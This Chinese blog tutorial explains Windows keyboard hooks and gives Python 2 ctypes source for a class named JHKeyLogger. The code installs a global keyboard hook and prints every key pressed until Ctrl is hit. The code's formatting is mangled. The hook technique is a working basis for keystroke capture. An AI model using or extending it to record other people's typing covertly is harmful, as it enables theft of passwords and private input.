python 在windows下监听键盘按键

使用到的库

  • ctypes(通过ctypes来调用Win32API, 主要就是调用钩子函数)

使用的Win32API

  • SetWindowsHookEx(), 将用户定义的钩子函数添加到钩子链中, 也就是我们的注册钩子函数
  • UnhookWindowsHookEx(), 卸载钩子函数
  • CallNextHookEx()在我们的钩子函数中必须调用, 这样才能让程序的传递消息

在没有钩子函数的情况下windows程序运行机制

  • 键盘输入 --> 系统消息队列 --> 对应应用程序的消息队列 --> 将消息发送到对应的窗口中

在有了钩子函数的情况下windows程序运行机制

  • 键盘输入 --> 系统消息队列 --> 对应应用程序消息队列 --> 将消息发送到钩子链中 --> 消息一一调用完毕所有的钩子函数(需要调用CallNextHookEx函数才能将消息传递下去) --> 将消息发送到对应的窗口中

示例程序

  • 注意:

    • 在程序中, 我们通过CFUNCTYPE返回一个类对象, 通过该类对象可以实例化出我们需要的c类型的函数, 但是如果不将他放在全局的话则会失去效果, 因为在C语言中函数是全局的
# -*- coding: utf-8 -*-
import os
import sys
from ctypes import *
from ctypes.wintypes import * """
define constants
"""
WH_KEYBOARD = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162 class JHKeyLogger(object): def __init__(self, user32, kernel32):
"""
Description:
Init the keylogger object, the property 'hook_' is the handle to control our hook function Args:
@(dll)user32: just put windll.user32 here
@(dll)kernel32: just put windll.kernel32 here Returns:
None
"""
self.user32_ = user32
self.kernel32_ = kernel32
self.hook_ = None def install_hookproc(self, hookproc):
"""
Description:
install hookproc function into message chain Args:
@(c type function)hookproc: hookproc is the hook function to call Returns:
@(bool):
if SetWindowHookExA() function works successfully, return True
else return False
"""
self.hook_ = self.user32_.SetWindowsHookExA(
WH_KEYBOARD,
hookproc,
self.kernel32_.GetModuleHandleW(None),
0)
if not self.hook_:
return False
return True def uninstall_hookproc(self):
"""
Description:
uninstall the hookproc function which means pick the hookproc pointer off the message chain
Args:
None
Returns:
None
"""
if not self.hook_:
return
self.user32_.UnhookWindowsHookEx(self.hook_)
self.hook_ = None def start(self):
"""
Description:
start logging, just get the message, the current thread will blocked by the GetMessageA() function Args:
None
Returns:
None
"""
msg = MSG()
self.user32_.GetMessageA(msg, 0, 0, 0) def stop(self):
self.uninstall_hookproc() def hookproc(nCode, wParam, lParam):
"""
Description:
An user-defined hook function Attention:
here we use the global variable named 'g_keylogger'
"""
if wParam != WM_KEYDOWN:
return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam) pressed_key = chr(lParam[0])
print pressed_key,
# hit ctrl key to stop logging
if CTRL_CODE == lParam[0]:
g_keylogger.stop()
sys.exit(-1)
return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam) # Attention: pointer must be defined as a global variable
cfunctype = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
pointer = cfunctype(hookproc) g_keylogger = JHKeyLogger(windll.user32, windll.kernel32) def main():
if g_keylogger.install_hookproc(pointer):
print 'install keylogger successfully!'
g_keylogger.start()
print 'hit ctrl to stop' if __name__ == '__main__':
main()

python 钩子函数的更多相关文章

  1. Python 钩子函数详解

    ###### 钩子函数 ``` import pluggy hookspec = pluggy.HookspecMarker('aaa') hookimpl = pluggy.HookimplMark ...

  2. 让你轻松掌握 Python 中的 Hook 钩子函数

    1. 什么是Hook 经常会听到钩子函数(hook function)这个概念,最近在看目标检测开源框架mmdetection,里面也出现大量Hook的编程方式,那到底什么是hook?hook的作用是 ...

  3. 【Flask】 python学习第一章 - 4.0 钩子函数和装饰器路由实现 session-cookie 请求上下文

    钩子函数和装饰器路由实现 before_request 每次请求都会触发 before_first_requrest  第一次请求前触发 after_request  请求后触发 并返回参数 tear ...

  4. VueRouter和Vue生命周期(钩子函数)

    一.vue-router路由 1.介绍 vue-router是Vue的路由系统,用于定位资源的,在页面不刷新的情况下切换页面内容.类似于a标签,实际上在页面上展示出来的也是a标签,是锚点.router ...

  5. python第六天 函数 python标准库实例大全

    今天学习第一模块的最后一课课程--函数: python的第一个函数: 1 def func1(): 2 print('第一个函数') 3 return 0 4 func1() 1 同时返回多种类型时, ...

  6. Django forms组件与钩子函数

    目录 一.多对多的三种创建方式 1. 全自动 2. 纯手撸(了解) 3. 半自动(强烈推荐) 二.forms组件 1. 如何使用forms组件 2. 使用forms组件校验数据 3. 使用forms组 ...

  7. ajax提交文件,django测试脚本环境书写,froms组件,钩子函数

    1.在新版本中,添加app是直接在settings设置中,将INSTALLED_APPS里添加app名字, 但是他的完整写法是   'app01.apps.App01Config'  因为新版本做了优 ...

  8. [Django REST framework - 序列化组件、source、钩子函数]

    [Django REST framework - 序列化组件.source.钩子函数] 序列化器-Serializer 什么是rest_framework序列化? 在写前后端不分离的项目时: 我们有f ...

  9. Pytest_Hook钩子函数总结(14)

    前言 pytest 的钩子函数有很多,通过钩子函数的学习可以了解到pytest在执行用例的每个阶段做什么事情,也方便后续对pytest二次开发学习.详细文档可以查看pytest官方文档https:// ...

随机推荐

  1. 数组最后一个元素的 引用在 foreach 循环之后仍会保留。建议使用 unset() 来将其销毁

    数组最后一个元素$arr  = array( 1 ,  2 ,  3 ,  4 );foreach ( $arr  as & $value ) {     $value  =  $value  ...

  2. day02.1-Linux虚拟操作系统的安装

    在windons环境中配置Linux虚拟操作系统,需要事先在Windons系统上下载并安装虚拟运行软件“VMware Workstations”,以下虚拟物理机的建立和虚拟Linux系统的配置都是在该 ...

  3. Kafka学习文档

    本教程假定您是一只小白,没有Kafka 或ZooKeeper 方面的经验. Kafka脚本在Unix和Windows平台有所不同,在Windows平台,请使用 bin\windows\ 而不是bin/ ...

  4. kuangbin专题16H(next数组)

    题目链接: https://vjudge.net/contest/70325#problem/H 题意: 输入字符串 str, 求 str 子串中既是 str 前缀又是 str 后缀的的字符串长度, ...

  5. bzoj3684: 大朋友和多叉树(拉格朗日反演+多项式全家桶)

    题面 传送门 题解 首先你得知道什么是拉格朗日反演->这里 我们列出树的个数的生成函数 \[T(x)=x+\prod_{i\in D}T^i(x)\] \[T(x)-\prod_{i\in D} ...

  6. js window.open()打开的页面关闭后刷新父页面

    function test(){ var winObj = window.open(URL); var loop = setInterval(function(){ if(winObj.closed) ...

  7. tftp简单文件传输协议搭建

    TFTP 简单文件传输协议     安装     sudo apt-get install tftp  tftpd openbsd-inetd     需要tftp tftpd openbsd-ine ...

  8. Gym - 101845F 最大流

    The UN finals are here!, the coaches/ex-coaches team is creating a new exciting contest to select wh ...

  9. [SDOI2008]烧水问题 规律

    题目描述 把总质量为1kg的水分装在n个杯子里,每杯水的质量均为(1/n)kg,初始温度均为0℃.现需要把每一杯水都烧开.我们可以对任意一杯水进行加热.把一杯水的温度升高t℃所需的能量为(4200*t ...

  10. J.U.C-其他组件

    J.U.C-其他组件 FutureTask   介绍Callable时我们知道它可以有返回值,返回值通过Future进行封装.FutrueTask实现了RunnableFuture接口,该接口继承了R ...